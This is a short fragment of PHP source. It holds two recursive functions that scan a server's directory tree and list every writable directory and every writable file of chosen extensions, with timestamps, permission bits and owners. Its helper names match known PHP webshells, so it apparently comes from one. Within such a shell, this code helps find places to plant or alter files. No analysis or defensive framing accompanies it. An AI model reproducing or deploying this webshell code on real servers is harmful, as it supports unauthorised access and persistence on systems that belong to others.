function GetWDirList($path) { global $dirdata, $j, $web_cwd; !$j && ($j = 1); $dirs = @scandir($path); if ($dirs) { $dirs = array_diff($dirs, array('..', '.')); foreach ($dirs as $file) { $f = str_replace('//', '/', $path . '/' . $file); if (is_dir($f)) { if (is_writable($f)) { $dirdata[$j]['filename'] = '/' . str_replace($web_cwd, '', $f); $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f)); $dirdata[$j]['chmod'] = getChmod($f); $dirdata[$j]['perm'] = PermsColor($f); $dirdata[$j]['owner'] = getUser($f); $dirdata[$j]['link'] = $f; $j++; } GetWDirList($f); } } return $dirdata; } else { return array(); } }
function GetWFileList($dir) { global $filedata, $j, $nowpath, $writabledb; !$j && ($j = 1); if ($dh = opendir($dir)) { while ($file = readdir($dh)) { $ext = getext($file); $f = str_replace('//', '/', $dir . '/' . $file); if ($file != '.' && $file != '..' && is_dir($f)) { GetWFileList($f); } elseif ($file != '.' && $file != '..' && is_file($f) && in_array($ext, explode(',', $writabledb))) { if (is_writable($f)) { $filedata[$j]['filename'] = str_replace($nowpath, '', $f); $filedata[$j]['size'] = sizecount(@filesize($f)); $filedata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f)); $filedata[$j]['filechmod'] = getChmod($f); $filedata[$j]['fileperm'] = PermsColor($f); $filedata[$j]['fileowner'] = getUser($f); $filedata[$j]['dirlink'] = $dir; $filedata[$j]['server_link'] = $f; $j++; } } } closedir($dh); clearstatcache(); return $filedata; } else { return array(); } }